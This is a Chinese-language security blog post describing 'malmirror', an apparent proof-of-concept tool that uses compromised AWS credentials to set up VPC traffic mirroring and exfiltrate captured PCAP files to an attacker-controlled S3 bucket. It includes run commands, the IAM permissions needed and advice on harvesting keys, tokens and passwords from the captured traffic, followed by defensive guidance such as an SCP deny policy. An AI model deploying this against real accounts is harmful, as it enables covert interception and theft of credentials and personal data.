导语:云环境下的网络检测问题 人们可能希望监视云环境中的网络流量有很多原因——出于攻击和防御的目的。 被动的网络检查在云环境中可能很困难,而且在这之前需要对网络配置进行重大修改,以确保每台主机都被监控,并且不会被恶意用户绕过。 这意味着作为一个攻击者,监视整个网络会产生数量难以置信的噪声,而且破坏任何东西也变得非常危险。 对于在云端进行通用网络检查遇到的困难,渗透测试人员采用了其他更简单的方法,比如审查 Elastic Load Balanc
云环境下的网络检测问题
人们可能希望监视云环境中的网络流量有很多原因——出于攻击和防御的目的。 被动的网络检查在云环境中可能很困难,而且在这之前需要对网络配置进行重大修改,以确保每台主机都被监控,并且不会被恶意用户绕过。 这意味着作为一个攻击者,监视整个网络会产生数量难以置信的噪声,而且破坏任何东西也变得非常危险。
对于在云端进行通用网络检查遇到的困难,渗透测试人员采用了其他更简单的方法,比如审查 Elastic Load Balancer 访问日志。 这些日志可以为 你提供一些信息,但与全面的网络流量检查相比,这些日志里面的信息非常有限。
然而,AWS 最近在今年六月的 re: Inforce 上发布了一个被动网络检测的新功能,称为“ VPC 流量镜像”。 使用这个新特性,我们创建了一个名为“ malmirror”的脚本,用于部署必要的基础设施来镜像和提取 VPC 流量。
VPC 流量镜像: 一种潜在的 AWS 网络监测解决方案
VPC 流量镜像是在 VPC 中复制 EC2实例的入站和出站流量,而不需要在实例中安装任何东西。 这些重复的流量通常会被发送到类似于网络入侵预防系统服务器(IDS)之类的地方进行分析和监控。
随着 VPC 流量镜像的发布,AWS 中的 VPC 网络检测变得更加容易,无论是进攻还是防守。 现在只需要一些 AWS API 调用(以及使用这些 API 的必要权限) ,就可以在 AWS VPC 中监视网络流量。
恶意 VPC 流量镜像的影响及其可能性
恶意的 VPC 流量镜像可能产生极大的影响,因为在 VPC 内移动的网络流量通常包含对攻击者有用的敏感信息。 实现恶意的 VPC 流量镜像的可能性也非常高,因为通过 VPC 往往有大量的明文流量。 使用明文流量的一个常见原因是,在流量镜像之前,流量不太可能被探测到,所以风险不大。
这方面的一个例子是今年1月发布的一个特性,即用于网络负载均衡的 TLS 终止。 通常的做法是,环境在其负载均衡器处终止 TLS,然后以明文形式将请求传递给后端服务器。 这意味着在 VPC 中将会有大量的明文流量被我们恶意的 VPC 镜像抓取。 关于负载均衡器的 TLS 终止的更多信息可以在这里找到,关于最佳实践的一些讨论可以在这里找到。
由于 TLS 对性能的巨大影响,所以许多公司还将在其内部网络中使用明文协议。 以前做这些事情感觉很安全,尤其是知道传统的中间人攻击 或 ARP 欺骗变的不可能发生。
由于这些原因,我们可以合理地假设,作为攻击者,在流量镜像攻击期间,我们至少会获得一些明文流量。
使用 AWS 凭证部署恶意镜像
作为一家主要关注攻击性研究的公司,我们希望将这一过程自动化,以使其能够快速、简单和可重复的执行。 因此,出于这个原因,我们编写了一个概念验证脚本,它将接受 AWS 凭证作为输入参数,并部署必要的基础设施,以便在目标 VPC-malmirror 中开始对所有支持的 EC2实例进行镜像。 值得注意的是,VPC 流量镜像只支持由 AWS Nitro 系统驱动的 EC2实例类型,VPC 镜像目标必须与被镜像的任何主机在同一个 VPC 中。
在接下来的几节中,我们将介绍 malmirror 的工作原理、它的功能以及如何分析提取数据。 这个脚本可以在我们的 GitHub 上找到。
malmirror 是如何工作的
malmirror 将以下资源部署到一个账户中:
·将流量镜像到的 EC2实例
·该 EC2实例的 EC2安全组
·一个 VPC 镜像目标,指向已创建的 EC2实例
·配置为镜像所有流量的 VPC 镜像过滤器
·在这个帐户中的每个支持的 EC2实例的 VPC 镜像会话
一个简单的图表演示了在将镜像基础结构部署到一个小型 VPC 中之后,该小型 VPC 中的流量流可能是什么样的(请注意,为了简单起见,该图中遗漏了许多资源)。
在一切都部署完毕后,流量将开始镜像到创建好的 EC2实例。 Ec2实例将开始侦听并以 PCAP 格式记录接收到的所有镜像网络流量。 在实例上本地存储了大约100mb 的数据之后,它将自动将该数据转移到 你选择的 S3 存储桶中(可能在 你自己的 AWS 帐户中) ,并从系统中删除本地文件。 这样可以防止实例耗尽磁盘空间,并允许我们以自动的方式提取镜像流量。 请注意,100mb 的限制是任意设置的,对于一些流量较大的网络来说可能太小了。之所以要以这种方式提取流量,是因为似乎没有一个简单的方法来镜像交叉帐户的流量,这似乎是一个可靠的方式来确保数据转移到外部环境。
由于流量正在被转移到 S3 存储桶中, 你可以在本地下载以便进行分析。 一个简单的方法是使用 AWS CLI 提供的 S3“同步”命令,这样 你只需下载上次与 存储桶同步时丢失的数据。
使用 malmirror 的先决条件
要使用 malmirror,你需要:
一个用于将镜像流量转移到的 S3 存储桶 (这个存储桶可能在你自己的 AWS 账户中)
存储在 AWS CLI 配置文件中的AWS 凭证(可能属于 你自己 AWS 帐户中的用户)。 这个用户应该有访问将 PCAP 文件提取到的 S3 存储桶的 write/s3:PutObject 权限
存储在 AWS CLI 配置文件中的带有以下 IAM 权限 的AWS 凭证(这个凭证是你将镜像部署到的目标帐户) :
·ec2:DescribeInstances
·识别要镜像的 EC2实例
·ec2:RunInstances
·创建一个将作为 VPC 镜像目标的 EC2实例
·ec2:CreateSecurityGroup
·为我们的 EC2实例创建安全组
·ec2:AuthorizeSecurityGroupIngress
·允许入站访问我们的 EC2实例
·ec2:CreateTrafficMirrorTarget
·将 EC2实例指定为 VPC 镜像目标
·ec2:CreateTrafficMirrorSession
·要为我们想要镜像的每个 EC2实例创建镜像会话
·ec2:CreateTrafficMirrorFilter
·为镜像会话创建流量过滤器
·ec2:CreateTrafficMirrorFilterRule
·要指定将所有流量镜像到我们的 EC2实例
使用 malmirror
malmirror 包括两个脚本, deploy-malmirror.py 和 sniff.py。 部署脚本在启动镜像资源时使用嗅探脚本,因此 你永远不需要手动运行 sniff.py。
要开始使用 malmirror 镜像流量,请遵循以下步骤:
1. git 克隆并跳到它所在的目录
git clone https://github.com/RhinoSecurityLabs/Cloud-Security-Research && cd Cloud-Security-Research/AWS/malmirror/
2. (可选的步骤) malmirror 是一个早期的概念验证,因此 你可能需要进行一些修改,使其更适合 你的场景,例如:
修改 VPC 镜像目标的 EC2实例类型
修改文件大小限制,在这个限制下,文件将被提取到 S3 存储桶并在本地删除
将 VPC 镜像目标更改为使用网络负载均衡器
限制或修改镜像目标的安全组规则
将EC2实例类型添加到基于 Nitro 的硬编码列表中
进一步细化 VPC 镜像过滤规则
3. 运行 malmirror,坐下来喝一杯咖啡,稍等片刻
python3 deploy-malmirror.py --profile CompromisedCreds --s3-profile S3Creds --region us-west-2 --bucket bucket-for-exfil
上图显示了我们的恶意 VPC 镜像基础设施被部署到目标帐户。 注意,这里使用了脚本参数的简写。
4. 当文件开始到达 S3存储桶时,要下载这些文件(到它们自己的文件夹中) ,但请记住,存储桶将被不断填满,直到你从目标环境中拆除镜像基础架构为止
aws s3 --profile profile-that-owns-the-bucket sync s3://bucket-for-exfil ./
现在 你已经在本地拥有了一些 PCAP 文件, 你可以分析和使用它们。
离线流量分析
将 PCAP 文件同步到本地系统后, 你就可以开始分析这些文件了。 你会发现有些流量是加密的,有些流量是不加密的。 你可能无法对加密数据做任何事情,但是明文流量有可能导致许多没有用的发现。 要查找的常见内容包括 API 密钥、身份验证令牌 、cookie、用户名/密码、 PII/PHI、文件和 IP 地址/主机名。 有数不清的其他事情你可能想要寻找,但这些东西可以给你一个很好的起点。
这里有一些工具可以帮助我们:
无论 你选择哪种分析器,都可以自动同步来自 S3 的 PCAP 文件,并在文件下载时自动分析过程。 这可以通过一个事先设置好的正则表达式或字符串匹配列表来完成,这样可以找到机密信息,并且对于每个下载的新文件,找出任何与这些匹配的内容。 因为看起来人们倾向于用他们自己的方式进行分析,所以自动分析并没有内置到这个工具中。
限制和警告
我们已经在整个博客中提到了其中的一些观点,但是在执行这种攻击时依然需要考虑一些事情。 由于这是一个概念验证脚本,并且此时它还没有经过严格的测试过程,因此查看这些限制和警告特别是非常重要的。
只有基于 Nitro 的 EC2实例类型才可以对其流量进行镜像(可以查找这个列表)
VPC 中任何具有正确路由的内容都可以向镜像目标 EC2实例发送任意流量,因为它允许来自所有内部网络范围(10.0.0.0 / 8,172.16.0.0 / 12,192.168.0.0 / 16)的 UDP 端口上的入站流量
因为所有(也只有)内部 IP 范围都是白名单的镜像目标,所以我们将无法镜像使用 VPC 内部网络的非标准 IP 范围的网络中的流量
如果帐户中已经部署了镜像基础设施,则 malmirror 可能会失败。 这可以通过添加一些错误处理和重试功能来避免
如何防御这种攻击
防止这种攻击的第一步是意识到并尝试防止 你的 AWS 环境遭到破坏。 我们之前发布了一篇博文,介绍了 AWS 密钥被攻破的一些常见方式,你可以在这里找到。
如果 你不在 你的帐户中使用 VPC 流量镜像特性,那么 你可能会使用服务控制策略(Service Control Policy,SCP)在组织层面拒绝访问必要的权限,如下所示:
{"Version":"2012-10-17","Statement":[{"Sid":"DenyVPCTrafficMirroring","Effect":"Deny","Action":["ec2:CreateTrafficMirrorTarget","ec2:CreateTrafficMirrorSession","ec2:CreateTrafficMirrorFilter","ec2:CreateTrafficMirrorFilterRule","ec2:DeleteTrafficMirrorTarget","ec2:DeleteTrafficMirrorSession","ec2:DeleteTrafficMirrorFilter","ec2:DeleteTrafficMirrorFilterRule","ec2:ModifyTrafficMirrorSession","ec2:ModifyTrafficMirrorFilterNetworkServices","ec2:ModifyTrafficMirrorFilterRule"],"Resource":"*"}]}
这个 SCP 将阻止任何应用它的帐户使用这些 API,即使试图这样做的用户和角色在该帐户中拥有正确的 IAM 权限。
如果 你确实在 你的环境中使用了 VPC 流量镜像,那么 你应该使用诸如 Amazon EventBridge 之类的东西来严格监视这些 API 的调用,以确保新的镜像资源不会被创建,现有的镜像资源不会被修改或删除。 无论是否使用镜像, 你还可以监视帐户中可疑的 EC2实例的创建。
肯定还有其他方法可以检测并防止这种类型的攻击,但许多方法是特定于上下文的,并且可能根据环境的设置而有所不同。 作为一般的经验法则,最好的做法是尽量减少在 VPC 中传输明文流量。
总结
VPC 流量镜像使攻击者和防御者在他们的 AWS VPC 中更容易监视网络流量,但是过去的常见做法已经导致在这些网络中传输着大量的明文流量。 这个新功能还有很多可能性需要在 AWS 中探索,所以看看它会带来什么是令人兴奋的。
如果你还没有看过,你可以在我们的 GitHub 上找到 malmirror。
如果 你担心 AWS 基础设施的安全性,可以考虑执行 AWS 渗透测试,以确定 你的环境中的弱点和漏洞。